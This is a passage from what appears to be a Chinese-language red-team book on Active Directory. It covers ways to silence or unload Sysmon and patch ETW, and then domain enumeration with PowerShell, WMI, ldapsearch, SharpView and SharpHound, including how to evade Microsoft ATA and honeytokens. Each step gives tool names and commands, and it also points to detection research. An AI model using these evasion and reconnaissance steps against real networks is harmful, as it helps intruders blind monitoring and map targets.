我们有两种主要方式绕过 Sysmon——在规则的盲点内操作或解除 Sysmon 的武装。规则绕过将特定于环境,并可能有显著的差异。那么,让我们来看看我们可以做些什么来解除 Sysmon 的武装。Olaf Hartong有一篇出色的博客文章描述了攻击者可能的攻击方式[39]。其中大多数技术需要在机器上具有高度特权访问权限,并可能会触发蓝队的立即严重安全事件,但它们仍然值得一提:

  • 配置更改

  • 停止 Sysmon 服务

  • 抑制日志记录

  • 通过注册表访问/更改配置

  • Sysmon.exe中进行进程注入

  • 驱动程序重命名

静默 Sysmon 的可靠方法是使用Invoke-Phant0m工具[40],它可以保持受害者的机器在线,但不记录任何内容,因为它会终止日志线程。还有更先进的方式将 Sysmon 置于静默模式,比如修补EtwEventWrite API[41]。Code White做了显著的研究,展示了如何将 Sysmon hook 住,并且可以操控事件[42]。特别是,我想提到的是,这种解除 Sysmon 的方式可能是目前公开可用的最为“安静”的方式,正如研究人员所说[42]:“没有可疑的 ProcessAccess 事件在 Sysmon 或事件日志中可见,使得检测(据称)变得非平凡。

另一种方式是使用一个名为Shhmon[43]的工具完全卸载 Sysmon 驱动程序。它允许攻击者找到甚至被重命名的 Sysmon 驱动程序并将其卸载。我们也可以使用一个内置的实用程序fltMC.exemisc::mflt Mimikatz 模块来达到同样的目的。无论如何,日志中仍然留下了显著的事件,可以用来追踪这种技术。

Windows 事件跟踪(ETW)

Windows 事件跟踪ETW)是一个内核级别的跟踪工具,用于记录事件,旨在应用程序调试时使用,并且可以在不重启应用程序/系统的情况下启用/禁用。简而言之,系统由三个组件组成——控制器、提供者和消费者。控制器用于启动/停止事件跟踪会话,该会话用于接收来自提供者的事件并将其传递给消费者。要开始使用 ETW,我可以推荐最详细的初学者指南[44]。Bmcder展示了如何使用logmanwevtutil.exe工具、事件清单和 API 来访问 ETW。最后,还列出了对蓝队有用的提供者。同时,值得注意的是,ETW 适用于收集正在进行的事件,而非历史事件。然而,事件数量巨大,并且需要使用 SIEM 和/或 Yara 进行后处理。

让我们调查如何使用 ETW 来查看 .NET 工具的使用情况。F-Secure 撰写了两篇优秀的博客文章,讲解如何检测 .NET 的恶意使用。第一部分[45]专注于加载 .NET 程序集的过程以及如何获取这些程序集的可见性。第二部分[46]详细介绍了 JIT 和 Interop 跟踪,展示了如何检测恶意示例,如 Meterpreter 和 SafetyKatz。方法名称、程序集和常见的恶意软件 API 调用对有洞察力的防御者来说是一个安全隐患。对于进攻性和防守性的测试,我们可以使用 FuzzySec 创建的一个很棒的工具,叫做 SilkETW[47]。本质上,它是 ETW 的一组包装器,可以实时收集和过滤来自 Microsoft-Windows-DotNETRuntime 和其他提供者的 .NET 事件。我们可以通过应用 Yara 中已知的妥协指示器进一步增强我们的分析。以下是运行重命名过的 Seatbelt[48]的简单示例:

图 2.16 – Process Hacker 显示加载的 .NET 程序集

图 2.16 – Process Hacker 显示加载的 .NET 程序集

我们将通过使用以下命令启动 SilkETW:

 .\SilkETW.exe -t user -pn Microsoft-Windows-DotNETRuntime -uk 0x2038 -l verbose -ot eventlog

SilkETW 进程启动后,已经收集了 820 个事件。我们执行 Seatbelt,通过运行以下命令来获取系统信息:

.\legit_binary.exe OSInfo

事件的数量已达到 1,763 个,其中一些包含妥协的指示。浏览这些事件使得像 Yara 或现代 AV/EDR 解决方案等安全产品能够检测我们的活动:

图 2.17 – SilkETW 在实际操作中

图 2.17 – SilkETW 在实际操作中

对应的日志条目如下:

图 2.18 – 日志中多条 Seatbelt 记录

图 2.18 – 日志中多条 Seatbelt 记录

我们有两种主要策略来避免检测——篡改 ETW 或使用某种形式的混淆。一个开源保护器的例子是 ConfuserEx[49]。它仍然会留下些许 IOCs,但作为起点是一个不错的选择,正如 White Knight Labs[50] 博客文章所展示的那样。

绕过 ETW 的一种更有前途的方法是隐藏其监控的技艺。XPN 在他的博客中发布了关于如何做到这一点的精彩研究[51]。这一思路与 AMSI 绕过有很多相似之处——以一种不会记录任何内容的方式修补对 ntdll!EtwEventWrite 的调用。Cneelis 在他的 TamperETW[52] 示例中展示了另一种实现相同结果的方法。

为了观察 ETW 的实际运作,我鼓励你阅读 mez0 写的精彩博客文章[53]。作者演示了如何创建 .NET 提供者、简单的 .NET 加载器检测以及 ETW 中和。执行后修复 ETW 提供者的过程也被展示了。此外,还包括了相关研究的链接以及对其他安全 ETW 提供者的概述,使这项研究独特且具有可辨识性。

Palantir 在他们的博客中发布了其他 ETW 篡改技术的列表[54]。其中两种技术(Autologger 提供者移除和提供者 Enable 属性修改)需要重启,所有这些技术都至少需要管理员权限。

概述

在本章中,我们演示了常见安全控制的规避基本概念。这只是冰山一角,因为我们没有涉及 AV/EDR 绕过、工具定制、Shellcode 加载程序等更多内容。我们讨论了内置控制(AMSI)以及可以通过组策略在域中部署的增强安全组件(AppLocker 和增强的 PowerShell 安全性)。接着,我们查看了可能的检测机制,这些机制可以通过 Sysmon 和 ETW 在 Windows 中实施。

在接下来的章节中,我们将使用不同的工具并专注于概念。我们将在禁用 Microsoft Defender 的机器上运行这些工具。展示规避技巧是整个过程的关键,并且总是第一步。成功的关键是了解我们的工具在幕后做了什么,以及我们在被攻击的机器上留下了哪些 IOCs。

下一章将专门讲解域枚举。我们将展示如何使用不同的工具来完成此任务,了解这些活动的常见模式,并学习如何不遗漏重要细节。

参考资料

  1. Process Hacker: processhacker.sourceforge.io/

  2. API 监视器: www.rohitab.com/apimonitor

  3. S3cur3Th1sSh1t 的 AMSI 绕过列表: github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

  4. Pentestlaboratories 的 AMSI 绕过列表: pentestlaboratories.com/2021/05/17/amsi-bypass-methods/

  5. Invoke-Obfuscation 脚本: github.com/danielbohannon/Invoke-Obfuscation

  6. Nishang 项目: github.com/samratashok/nishang

  7. Powercat: github.com/besimorhino/powercat

  8. 通过 AMSI 的持久性: pentestlab.blog/2021/05/17/persistence-amsi/

  9. Pentest Laboratories 的 AMSI 绕过威胁猎捕: pentestlaboratories.com/2021/06/01/threat-hunting-amsi-bypasses/

  10. F-Secure 的 AMSI 绕过威胁猎捕: blog.f-secure.com/hunting-for-amsi-bypasses/

  11. Tiraniddo 关于 AppLocker 内部原理的研究: www.tiraniddo.dev/2019/11/the-internals-of-applocker-part-1.xhtml

  12. CLM 限制的 PowerShell 敏感能力:devblogs.microsoft.com/powershell/powershell-constrained-language-mode/#what-does-constrained-language-constrain

  13. AppLocker 初学者指南:www.hackingarticles.in/windows-applocker-policy-a-beginners-guide/

  14. 使用 InstallUtil 绕过 AppLocker:www.ired.team/offensive-security/code-execution/t1118-installutil

  15. 使用 MSBuild 绕过 AppLocker:www.ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c

  16. AppLocker 绕过列表项目:github.com/api0cradle/UltimateAppLockerByPassList

  17. PowerShdll 项目使用 PowerShell 自动化 DLL:github.com/p3nt4/PowerShdll

  18. PSBypassCLM 项目,创建一个 InstalUtil 的包装器:github.com/padovah4ck/PSByPassCLM

  19. Bypass-CLM 项目,修补返回值:github.com/calebstewart/bypass-clm

  20. 利用 COM 绕过 CLM:blog.xpnsec.com/constrained-language-mode-bypass/

  21. 通过设置 HKCU 环境值绕过 CLM:sp00ks-git.github.io/posts/CLM-Bypass/

  22. AaronLocker 项目:github.com/microsoft/AaronLocker

  23. 部署 WDAC 和 AppLocker:improsec.com/tech-blog/one-thousand-and-one-application-blocks

  24. Sysmon:docs.microsoft.com/en-us/sysinternals/downloads/sysmon

  25. Sysmon 社区指南:github.com/trustedsec/SysmonCommunityGuide

  26. Sysmon 配置版本由SwiftOnSecurity提供:github.com/SwiftOnSecurity/sysmon-config

  27. Sysmon 配置版本由Florian Roth提供:github.com/Neo23x0/sysmon-config

  28. Sysmon 配置版本由Olaf Hartong提供:github.com/olafhartong/sysmon-modular

  29. cobbr.io 提供的 ScriptBlock Logging 绕过:cobbr.io/ScriptBlock-Logging-Bypass.xhtml

  30. cobbr.io 的 ScriptBlock 警告事件日志绕过:cobbr.io/ScriptBlock-Warning-Event-Logging-Bypass.xhtml

  31. DeepBlue:github.com/sans-blue-team/DeepBlueCLI

  32. 新的绕过方法第一部分:www.bc-security.org/post/powershell-logging-obfuscation-and-some-newish-bypasses-part-1/

  33. 新的绕过方法第二部分:www.bc-security.org/post/powershell-logging-obfuscation-and-some-newish-bypasses-part-2/

  34. PowerShell 保护模块:blog.ironmansoftware.com/protect-logging-bypass/

  35. EnableTranscripting 绕过:avantguard.io/en/blog/powershell-enhanced-logging-capabilities-bypass

  36. Invisi-Shell 工具:github.com/OmerYa/Invisi-Shellwww.youtube.com/watch?v=Y3oMEiySxcc

  37. Stracciatella 工具:github.com/mgeeky/Stracciatella

  38. 检测 Sysmon:www.ired.team/offensive-security/enumeration-and-discovery/detecting-sysmon-on-the-victim-host

  39. Sysmon 篡改:medium.com/@olafhartong/endpoint-detection-superpowers-on-the-cheap-part-3-sysmon-tampering-49c2dc9bf6d9

  40. Phant0m 工具:github.com/hlldz/Phant0m

  41. SysmonQuiet:github.com/ScriptIdiot/SysmonQuiet

  42. SysmonEnte:codewhitesec.blogspot.com/2022/09/attacks-on-sysmon-revisited-sysmonente.xhtml

  43. Shhmon:github.com/matterpreter/Shhmon

  44. ETW 入门指南:bmcder.com/blog/a-begginers-all-inclusive-guide-to-etw

  45. 检测恶意使用.NET 第一部分:blog.f-secure.com/detecting-malicious-use-of-net-part-1/

  46. 检测恶意使用.NET 第二部分:blog.f-secure.com/detecting-malicious-use-of-net-part-2/

  47. SilkETW:github.com/mandiant/SilkETW

  48. Seatbelt:github.com/GhostPack/Seatbelt

  49. ConfuserEx: github.com/mkaring/ConfuserEx

  50. 通过使 EtwEventWrite API 无效来绕过 ETW:whiteknightlabs.com/2021/12/11/bypassing-etw-for-fun-and-profit/

  51. 补丁 EtwEventWrite API: blog.xpnsec.com/hiding-your-dotnet-etw/

  52. TamperETW: github.com/outflanknl/TamperETW

  53. 规避 ETW 和 AMSI:pre.empt.blog/2023/maelstrom-6-working-with-amsi-and-etw-for-red-and-blue

  54. 篡改 ETW: blog.palantir.com/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63

进一步阅读

以下是一些进一步学习的辅助资源,帮助你更深入地了解本章涉及的攻击:

第三章:域侦察与发现

本章将重点介绍域枚举。尽管方法论看起来显而易见且直观,但实际过程可能会显得令人生畏,而侦察是成功入侵的关键步骤。此外,重要的是在每次行动后重新进行枚举,因为新的路径可能会打开。有时枚举可能直接导致入侵;例如,受损的用户可能读取 本地管理员密码解决方案LAPS)或 组托管服务账户gMSA)密码,或者可能在启用不受限制代理的计算机上拥有管理员权限。

我们将简要回顾侦察方法,并以不同方式开始全面枚举。我们将涵盖内置 PowerShell 模块、Windows 管理工具WMI)和 net.exe 命令的使用,并利用 LDAP 搜索功能。作为下一步,我们将使用 PowerView 和 BloodHound 工具。我们将以服务枚举结束我们的旅程。作为锦上添花,我们将在活动中研究 高级威胁分析ATA)检测规避以及如何理解和处理蜜罐令牌。

本章将涵盖以下主要内容:

  • 使用内置功能进行枚举(PowerShell,WMI,net.exe,LDAP)

  • 最常用的枚举工具(PowerView,BloodHound)

  • 域服务枚举

  • ATA 和蜜罐令牌的检测规避

技术要求

本章的技术要求如下:

  • 至少 16 GB RAM、8 个 CPU 核心和至少 55 GB 总空间(如果进行快照,空间要求更大)的 VMware Workstation 或 Oracle VirtualBox

  • 强烈推荐使用基于 Linux 的操作系统

  • 安装了对应虚拟化平台插件的 Vagrant 和 Ansible

  • 已部署的 ATA 案例 DetectionLab 版本 (www.detectionlab.network/introduction/prerequisites/)

  • 从 GOADv2 项目中,我们将使用 DC01、DC02、SRV01 和 SRV03

使用内置功能进行枚举

在我们的场景中,我们已建立了初步立足点,成功识别并规避了防御性安全措施。接下来的步骤是更好地了解我们已进入的环境。我们所有的侦察活动可能会受到蓝队的密切监视。随后,我们将运行各种命令和工具,检查 Windows 事件日志并生成流量。进行这种演练的目的是理解底层使用了哪些协议,以及在枚举过程中可能留下哪些妥协迹象。

在进入实践部分之前,让我们简要概述一下我们将遵循的枚举方法论。我的方法是从较高层次的抽象开始,逐渐深入。

PowerShell cmdlet

我们将枚举一个 Active Directory 环境,从森林、域以及它们之间的信任关系开始。接下来的步骤是分别枚举每个域,获取有关 组织单位(OUs) 和包含相应用户和计算机的组的信息,最后是域的 组策略对象(GPOs) 和 访问控制列表(ACLs)。使用 PowerShell,您可以使用多种方式进行枚举。虽然有一个 Active Directory cmdlet,但它默认仅安装在域控制器上。不过这没什么大不了的!有一个很棒的项目,由 Nikhil Mittal 创建,叫做 ADModule。这个项目的思路是,我们复制一个微软签名的 DLL 文件,用它来执行 Active Directory cmdlet,而无需安装 RSAT 或拥有管理员权限,也能进行枚举。同时,它还可以将所有操作保存在内存中,而不触及磁盘。ADModule 项目的主要缺点是,它已经不再维护,因此不会有新的命令可用。需要提到的是,PowerShell 的 Active Directory cmdlet 需要 Active Directory Web 服务(ADWS) 在端口 9389 上运行。我们可以在 Wireshark 捕获的第四个连接数据包中看到它:

图 3.1 – 连接到 ADWS 端口 9389

图 3.1 – 连接到 ADWS 端口 9389

可以通过运行以下命令查看可用命令的完整列表:

Get-Command -Module ActiveDirectory

使用这样的模块有明显的优势;例如,不需要绕过杀毒软件,所有执行都发生在内存中,而且如果没有应用特殊的检测规则,流量会很好地融入环境。防御者可以阻止端口 9389,禁用 ADWS,和/或在流量访问此端口时创建警报。但这完全取决于目标环境——在大多数情况下,这种活动会被视为正常活动。接下来,我们将讨论使用 WMI 进行枚举,这在域中的每台机器上默认可用。

WMI

WMIWeb-Based Enterprise Management** (WBEM**) 的微软实现。WMI 使用 通用信息模型(CIM) 来表示受管理的组件。

要查看 WMI 的实际操作,我强烈推荐阅读 0xinfection[2] 撰写的五篇博客文章。WMI 可以在 PowerShell 中使用,因此我们将利用它进行 Active Directory 枚举。同时,也可以通过命令行使用 WMI 命令行工具(WMIC) 执行 WMI 操作。WMI 有一个名为 root\directory\ldap 的提供程序,我们将使用它与 Active Directory 进行交互。

让我们运行以下示例中的命令,找出域名并查看将发送的流量:

Get-WmiObject -Namespace root\directory\ldap -Class ds_domain | select ds_dc, ds_distinguishedname, pscomputername

我不会讨论捕获中的每个数据包,但用简单的语言来说,发生了以下高层次步骤:

  1. 进行了 Kerberos 身份验证。

  2. 出现了一个 LDAP 绑定请求和响应。

  3. 攻击者发出了搜索请求,并且相应的结果条目也出现了。

完成上述步骤后,我们将收到以下输出:

图 3.2 – 当前域的结果

图 3.2 – 当前域的结果

在相应的 Wireshark 窗口中,我们可以看到,接收到上述截图信息共用了 11 次 LDAP 查询/回复:

图 3.3 – 获取当前域信息后的 Wireshark 流量捕获

图 3.3 – 获取当前域信息后的 Wireshark 流量捕获

需要提到的是,这个流量仅发生在域控制器和受损机器之间。我们可以看到,WMI 依赖于 LDAP,稍后我们将对此进行介绍。

net.exe

另一个用于域枚举的内置工具是net.exe。在本节中,我们将使用以下命令枚举域用户:

net user /domain

运行上述命令的结果如下:

图 3.4 – 使用 net.exe 命令进行域用户枚举

图 3.4 – 使用 net.exe 命令进行域用户枚举

在这种情况下,我们的机器发送的流量将使用一组独特的协议——SMBv2、DCERPC 和 SAMR。这一点很重要,因为某些协议的使用可能是妥协的良好指示。我们将在本章稍后看到这一点。

关于安全账户管理器远程SAMR)如何工作的高层次解释是在 BloodHound 使用的背景下发布的[3]。稍后我们将在本章分析 SharpHound 行为时使用来自三篇博客文章的信息。简而言之,我们的机器打开一个 SMB 连接到域控制器,然后将自己绑定到\PIPE\samr,该管道通过IPC$共享导出,并使用 SAMR 查询来提取关于用户的信息。

以下是 Wireshark 流量捕获:

图 3.5 – MS-RPC 流量捕获

图 3.5 – MS-RPC 流量捕获

以上所有枚举方法都是在基于 Windows 的系统上展示的。但是,如果我们能够访问一台 Linux 机器呢?在下一节中,我们将结合流行的 Linux 工具使用轻量级目录访问协议LDAP)搜索查询。

LDAP

LDAP 是一种目录服务协议,提供连接、搜索和修改目录的机制。网上有一个免费的优秀 wiki[4],其中可以找到适用于 Active Directory 的相关 LDAP 查询示例。为了理解如何将其应用于有意义的枚举,我强烈推荐您阅读ropnop 在 Thotcon 2018 中做的精彩演讲[5]。

在之前的示例中,我们使用有效的凭据在域用户上下文中执行了枚举。但如果我们还没有凭据呢?在某些罕见的环境中,旧版本的环境可能会允许通过以下命令进行 NULL 会话枚举:

rpcclient –U"%" IPAddress

Reino Mostert 分享了一个新的观点,他讲述了在 Windows 域控制器上枚举用户的三种方式[6],并通过工具[7]补充了他的研究。

总结来说,作为一个未经身份验证的域用户,我们可以运行 nbtscandigldapsearch,在某些情况下,rpcclient 来获取域名、域控制器和计算机的 NetBIOS 名称:

图 3.6 – 无域用户凭据的枚举

图 3.6 – 无域用户凭据的枚举

获取我们第一组有效的域用户凭据将为获取更多信息开辟途径,正如以下截图所示。

图 3.7 – 使用 rpcclient 进行身份验证枚举

图 3.7 – 使用 rpcclient 进行身份验证枚举

请小心,因为根据 Windows 版本的不同,一些 SAMR 查询可能无法正常工作,但 NETLOGON 和 LSARPC 仍然可以正常使用。以下截图展示了这一点:

图 3.8 – SAMR 查询失败

图 3.8 – SAMR 查询失败

LDAP 查询比 rpcclientenum4linux 中的预定义搜索提供更多灵活性。我们可以使用 ldapsearch[8] 和/或 windapsearch[9]。我们可以通过查询枚举管理员组的成员,如下所示:

ldapsearch -LLL -x -H ldap://kingslanding.sevenkingdoms.local -D "lord.varys@sevenkingdoms.local" -w 'Qwerty123!' -b dc=sevenkingdoms,dc=local "adminCount=1" dn | grep "dn:"

运行上述命令将得到以下输出:

图 3.9 – 列出属性 adminCount=1 的对象

图 3.9 – 列出属性 adminCount=1 的对象

我们已经讨论了如何手动执行枚举并分析流量以理解底层协议的使用方式。现在,我们将讨论用于以自动化或半自动化方式执行枚举的最常见工具。

枚举工具

用于域枚举的最常见工具是 PowerView 或 SharpView 和 SharpHound,结合使用 BloodHound。

SharpView/PowerView

SharpView[10] 是 PowerView[11] 的 .NET 移植版本。这个工具有各种各样的方法,可以改善和加速复杂环境中的枚举过程。我推荐阅读 PowerView wiki[12],因为它详细解释了如何运行查询。让我们从 GitHub 获取版本,编译并按照我们的研究方法进行操作。我们不会为每个命令都运行 Wireshark,而是选择一个示例来理解我们留下的痕迹。为了让我们的工作更轻松,我使用了 Get-DomainSID 命令:

图 3.10 – Get-DomainSID 命令的结果

图 3.10 – Get-DomainSID 命令的结果

以下是 Wireshark 捕获的几个 DNS 请求,用于获取域 LDAP SRV,接着是 CLDAP 和 LDAP 查询/响应的混合,结合了 Kerberos 认证。总共捕获了 265 个数据包:

图 3.11 – 获取 Get-DomainSID 命令的 Wireshark 捕获

图 3.11 – 获取 Get-DomainSID 命令的 Wireshark 捕获

以下列表展示了在几乎每次参与过程中你将使用的最常见的枚举命令。命令名称不言自明。有关额外选项和键,请参见官方指南:

  • Get-Forest

  • Get-ForestDomain

  • Get-ForestTrust

  • Get-Domain

  • Get-DomainTrust

  • Get-DomainController

  • Get-DomainOU

  • Get-DomainGroup

  • Get-DomainGroupMember

  • Get-DomainUser

  • Get-DomainComputer

  • Get-DomainGPO

  • Get-DomainForeignUser

  • Get-DomainForeignGroupMember

  • Invoke-ACLScanner

  • Find-LocalAdminAccess

  • Find-DomainShare

作为示例,我将展示如何使用 SharpView 命令帮助进行森林枚举。枚举以标准用户身份执行。在运行了仅三个命令后,我们就能知道根域和森林中所有域的 SID,包括域控制器的名称,并且两片森林之间存在双向信任。森林枚举的结果如下:

图 3.12 – 使用 SharpView 进行森林枚举的结果

图 3.12 – 使用 SharpView 进行森林枚举的结果

在收集完所有森林和域的信息后,我们需要对其进行分析。我们的目标是寻找一种方法,将允许的信任和访问与错误配置串联起来,以便进一步推进。如果有一个工具能以某种自动化的方式帮助我们将所有信息结合在一起呢?让我们欢迎并讨论 BloodHound!

BloodHound

防御者思维是按列表进行的,而攻击者则是按图形思维的。只要这一点成立,攻击者就会胜利。 这句伟大的名言出自 John Lambert。我认为这种思维方式的转变能帮助我们理解 BloodHound[13] 的全部潜力。这个工具利用图论帮助攻击者找到 Active Directory 中原本不应该存在的或可以被利用来进一步妥协的对象关系。为了实现这一点,我们需要 SharpHound 数据收集器[14] 和 BloodHound。我们的目标是了解这些工具的工作原理以及使用它们的好处。SharpHound 有多种收集方法,在使用这些方法之前,我们需要了解它们的影响。例如,RDP、DCOM、PSRemote、LocalAdmin 和 LoggedOn 等方法非常嘈杂,会产生大量流量,因为它们需要连接到域中的每台计算机以获取请求的信息。

在以默认收集选项运行 SharpHound 并将结果上传到 BloodHound 后,我们可以找到一些有前景的路径,如下图所示,其中 tywin.lannister 可以更改另一个用户的密码并将自己添加到一个组中:

图 3.13 – BloodHound 发现的 ACL 错误配置

图 3.13 – BloodHound 发现的 ACL 错误配置

在某些情况下,BloodHound 中预定义的查询可能不足以找到下一步的行动。这时,我们可以自己编写查询和/或使用已发布的自定义查询[15]。

要了解更多关于 BloodHound 内部的内容,Sven Defatsch[3]写了三篇博客文章。在这些文章中,他讨论了通过不同方法进行用户和会话枚举。我们不会复制完整的研究,但会简要查看流量以确认结果。我们将开始会话的数据收集,并进行数据包捕获:

SharpHound.exe -d sevenkingdoms.local –CollectionMethods Session --Stealth

上述命令创建了以下数据捕获:

图 3.14 – 会话收集

图 3.14 – 会话收集

如我们所见,流量与原始研究中的流量相同。有许多不同噪声级别的收集方法。而且,这也取决于你在猎取什么。一般建议是使用--Jitter--Throttle选项,在请求之间创建延迟。--Stealthy选项迫使 SharpHound 以不同的方式表现,但它也可能影响收集的质量。

总结一下,数据收集器通过 SMB 连接和 Kerberos 身份验证,使用各种命名管道和协议获取信息。

然而,还有另一种探索目标 Active Directory 的方法。ADExplorer[16]是微软编写的一个工具,不仅可以查看和编辑对象,还支持快照。我强烈推荐你阅读api0cradle[18]关于在参与活动中使用 ADExplorer 的帖子。使用由c3c[18]编写的工具,我们可以将快照转换为 BloodHound 兼容的 JSON 文件。显然,由于没有与系统的网络交互,像本地管理员列表和会话这样的信息将缺失。进行快照时唯一需要考虑的 OpSec 因素是要记住会收集大量数据。然而,正如FalconForce[19]提到的那样,检测 Active Directory 数据收集并不容易。

在收集了所有关于域的可用信息后,接下来我们将专注于域内部署的服务,并简要了解用户狩猎过程。

枚举服务并猎取用户

为了继续我们的枚举,下一步是识别可用服务、文件和 SQL 服务器以及域中特权用户的活动。如本章开头所述,我们的目标是获取受损环境中的关键数据和服务访问权限。

SPN

服务主体名称SPNs)是 Kerberos 客户端用来唯一标识给定 Kerberos 目标计算机上的服务实例的名称。PyroTek3[20]拥有一个关于 Active Directory 已知 SPN 的全面列表。我们可以利用这些信息来更好地理解域中存在哪些服务,并使用 Kerberos 身份验证。

我们可以使用setspn工具或 SharpView 通过以下命令在域中枚举 SPN,以查找具有 SPN 的用户和计算机:

Get-DomainComputer -ServicePrincipalName "*"
Get-DomainUser -SPN

要使用setspn工具获取所有 SPN,我们可以运行以下命令:

setspn -T sevenkingdoms.local -F -Q */*

结果,我们得到了一个冗长的 SPN 列表。我们可以通过使用-L开关来针对特定服务器或用户缩小列表范围。运行上述命令后,以下是一些有前景的发现:

图 3.15 – 七王国森林中的 SPN

图 3.15 – 七王国森林中的 SPN

在域中的下一个猎捕目标是文件服务器。有时它甚至可能具有开放共享或我们具有“写入”权限的共享。在第五章中,我们将展示如何利用可写共享,但首先我们需要找到它们。

文件服务器

文件服务器是一个重要的信息资源。如果攻击者妥协了一个在组织内具有广泛访问权限的用户,那么就有可能从文件共享中提取所有所需的信息。在 SharpView 中,有几个选项用于文件服务器枚举。它们如下:

  • Get-DomainFileServer

  • Find-DomainShare -CheckShareAccess

  • Find-InterestingFile

  • Find-InterestingDomainShareFile

用户猎捕

用户猎捕更像是一种艺术,而不是一个过程。harmj0y创建了一个精彩的演示[21],展示了总体方法。对于一个小型环境来说,这可能看起来是一个直接的过程,但如果跨多个域和森林有成千上万的用户,就不那么简单了。找到合适的猎捕目标是最关键的一步。对于特权用户,我们可以通过以下 SharpView 命令来识别他们:

Get-DomainUser -AdminCount -Properties samaccountname

以下是域中受特权的用户列表:

图 3.16 – 具有 AdminCount=1 属性的用户列表

图 3.16 – 具有 AdminCount=1 属性的用户列表

作为下一步,我们可以运行各种命令,例如以下命令:

  • Find-DomainUserLocation

  • Get-NetSession

  • Invoke-UserHunter -****Stealth -ShowAll

只需小心,未使用Stealth开关的第一个和最后一个命令(www.labofapenetrationtester.com/2018/10/deploy-deception.xhtml)会通过查询域内的每台机器生成大量噪声。在下一节中,我们将介绍一些检测方法以及在枚举过程中如何避免这些检测。

枚举检测规避

枚举可能是一个噪声很大的过程,如果没有采取预防措施使用工具的话。同时,防御者通过使用安全产品和欺骗方法来猎捕侦察活动。这些方法就像黑暗房间中的隐藏铃铛——你需要知道它在哪里,才能避免被检测到。我们将一并介绍微软 ATA 及其继任者——Defender for Identity** (MDI**)以及蜜罐令牌。

微软 ATA

微软高级威胁分析(ATA)是一个本地平台,旨在帮助保护企业免受威胁。扩展支持将在 2026 年结束,因此值得快速介绍一下它。

在本节中,我们将仅讨论用于重建方法的检测;其他攻击和绕过将在相应的章节中讨论。一般来说,ATA 通过解析多种协议的网络流量来检测恶意活动。值得注意的是,工具需要一定时间来学习环境中用户和机器的正常行为。数据收集发生在 ATA 网关上。2017 年,Nikhil Mittal写了一系列五篇关于 ATA 检测和绕过的博客文章[22]。一般的绕过策略是将现有环境流量混合在一起,并限制与域控制器的交互。Microsoft Defender for IdentityMDI)是 ATA 的继任者。Nikhil 重新审视了该产品,并在 BruCON 会议[23]上分享了他的研究。这里提到的所有技术至今仍对 ATA 同样有效。在演讲中给出了两个不错的枚举建议:排除对 DC 的 SMB 会话枚举,忘记任何使用 SAMR 协议的工具。WMI 和 LDAP 查询是侦察的途径,但现在推荐请求所有 LDAP 属性并离线筛选。

蜜罐令牌

另一种检测环境中恶意活动的方法是部署并监控环境中的诱饵对象。这些对象应该是攻击者想要的目标,但在正常活动中永远不应使用。我们可以指出更多Nikhil Mittal的研究[24]以及他现成的 PowerShell 模块[25]。通过该工具,我们可以部署蜜罐用户、计算机和组。为了检测这些对象的访问,我们需要配置组策略审计[26],或者我们可以简单地将账户添加到 Microsoft ATA 中的蜜罐令牌:

图 3.17 – Microsoft ATA 中的蜜罐令牌

图 3.17 – Microsoft ATA 中的蜜罐令牌

攻击者仍然可以通过检查如LastLogonlogonCountbadpwdCountwhenCreated等属性来识别蜜罐账户。一些工具可以协助进行此类活动,例如HoneypotBuster[27]。它使用一个内部的虚假排名系统,计算为账户的几个参数的组合。该工具的排名系统可以被蓝队分析,因此蜜罐可以调整到所需的级别。

另一种方法是在域内的机器内存中引入虚假凭据,并在特权提升攻击(例如 pass-the-hash 攻击)期间检测凭据重用。一个出色的项目,展示了这种欺骗技术,名为 Dcept[28]。如果蓝队检测到此类活动,他们将知道被攻击的确切主机以及攻击者执行横向移动的方式。

另一个脚本,Honeyhash[29],是用 PowerShell 编写的,用于创建内存欺骗。它创建一个内存中的虚假账户,然后攻击者将使用该账户进行横向移动。 Stealthbits 公司撰写了一个关于如何部署和实施检测的详细指南[30]。

摘要

在本章中,我们讨论了攻击者可以用于枚举活动的可用工具和协议。我们简要介绍了工具内部机制,以便清晰地了解我们留下的痕迹。我们的方法论是从环境内部的高层次到低层次进行枚举。其中一个关键思想是枚举是一个持续的过程。在本章结束时,我们讨论了一些 OpSec 方面的问题,并看到蓝队如何欺骗攻击者。

在下一章中,我们将从域的角度讨论凭证访问。我们不会花时间在端点凭证访问上,而是会探讨诸如 Kerberoasting、GMSA、LAPS、不同类型的强制认证、如何滥用可写共享等内容。

参考资料

  1. ADModule: github.com/samratashok/ADModule

  2. WMI 基础系列: 0xinfection.github.io/posts/wmi-basics-part-1/

  3. Bloodhound 内部工作原理: blog.compass-security.com/2022/05/bloodhound-inner-workings-part-1/, blog.compass-security.com/2022/05/bloodhound-inner-workings-part-2/blog.compass-security.com/2022/05/bloodhound-inner-workings-part-3/

  4. LDAP wiki: ldapwiki.com/wiki/Main

  5. LDAP 和 Kerberos: blog.ropnop.com/talk/2018/funwithldapkerb/

  6. 对 NULL 会话枚举的新看法: sensepost.com/blog/2018/a-new-look-at-null-sessions-and-user-enumeration/

  7. UserEnum: github.com/sensepost/UserEnum

  8. Ldapsearch: malicious.link/post/2022/ldapsearch-reference/

  9. Windapsearch: github.com/ropnop/windapsearch

  10. SharpView: github.com/tevora-threat/SharpView

  11. PowerView: github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

  12. PowerView recon wiki: powersploit.readthedocs.io/en/latest/Recon/

  13. BloodHound: bloodhound.readthedocs.io/en/latest/

  14. SharpHound: bloodhound.readthedocs.io/en/latest/data-collection/sharphound.xhtml

  15. 自定义 BloodHound 查询: github.com/hausec/Bloodhound-Custom-Queries

  16. ADExplorer: learn.microsoft.com/en-us/sysinternals/downloads/adexplorer

  17. ADExplorer 在项目中的应用: www.trustedsec.com/blog/adexplorer-on-engagements/

  18. ADExplorerSnapshot: github.com/c3c/ADExplorerSnapshot.py

  19. 检测 AD 数据收集: falconforce.nl/falconfriday-detecting-active-directory-data-collection-0xff21/

  20. 已知 SPN 列表: adsecurity.org/?page_id=183

  21. 追踪系统管理员: www.slideshare.net/harmj0y/i-hunt-sys-admins-20

  22. 躲避 Microsoft ATA: www.labofapenetrationtester.com/2017/08/week-of-evading-microsoft-ata-day1.xhtml

  23. 滥用 MDI: www.youtube.com/watch?v=bzLvOu1awKM

  24. 部署欺骗研究: www.labofapenetrationtester.com/2018/10/deploy-deception.xhtml

  25. 部署欺骗工具: github.com/samratashok/Deploy-Deception

